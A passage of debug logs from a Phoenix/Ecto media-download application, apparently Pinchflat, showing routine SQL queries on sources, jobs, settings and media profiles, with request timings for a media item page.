s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:42:25.751 [debug] QUERY OK source="tasks" db=49.4ms idle=569.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1575029] 17:42:28.377 [debug] QUERY OK source="oban_jobs" db=3144.0ms idle=601.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5132275, 5132331, 5132387, 5132443, 5132499, 5132555, 5132612, 5132668, 5132724, 5132780, 5132836, 5132891, 5132947, 5133003, 5133059, 5133115, 5133171, 5133227, 5133283, 5133339, 5133395, 5133451, 5133507, 5133563, 5133619, 5133674, 5133730, 5133786, 5133842, 5133898, 5133952, 5134006, 5134060, 5134114, 5134168, 5134222, 5134276, 5134330, 5134384, 5134438, 5134492, 5134546, 5134600, 5134655, 5134709, 5134764, 5134818, 5134872, 5134926, 5134981, ...] 17:42:28.377 [debug] QUERY OK source="oban_jobs" db=2621.2ms idle=304.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5132273, 5132329, 5132385, 5132441, 5132497, 5132553, 5132610, 5132666, 5132722, 5132778, 5132834, 5132889, 5132945, 5133001, 5133057, 5133113, 5133169, 5133225, 5133281, 5133337, 5133393, 5133449, 5133505, 5133561, 5133617, 5133672, 5133728, 5133784, 5133840, 5133896, 5133950, 5134004, 5134058, 5134112, 5134166, 5134220, 5134274, 5134328, 5134382, 5134436, 5134490, 5134544, 5134598, 5134653, 5134707, 5134762, 5134816, 5134870, 5134924, 5134979, ...] 17:42:28.394 [debug] QUERY OK source="settings" db=0.1ms idle=1047.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:28.394 [debug] QUERY OK source="settings" db=0.0ms idle=1047.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:28.394 [debug] QUERY OK source="settings" db=0.0ms idle=827.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:28.395 [debug] QUERY OK source="media_profiles" db=0.0ms idle=18.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:42:28.395 [debug] QUERY OK source="settings" db=0.0ms idle=17.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:28.395 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:28.395 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:28.395 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:42:28.464 [info] Sent 200 in 3332ms 17:42:28.465 [info] Sent 200 in 2764ms 17:42:28.651 [info] GET /sources/1/media/1575032 17:42:28.651 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1575032", "source_id" => "1"} Pipelines: [:browser] 17:42:28.652 [debug] QUERY OK source="media_items" db=0.1ms idle=256.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1575032] 17:42:28.652 [debug] QUERY OK source="sources" db=0.1ms idle=257.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:42:28.768 [debug] QUERY OK source="tasks" db=116.0ms idle=257.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1575032] 17:42:28.780 [debug] QUERY OK source="oban_jobs" db=7.8ms idle=377.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,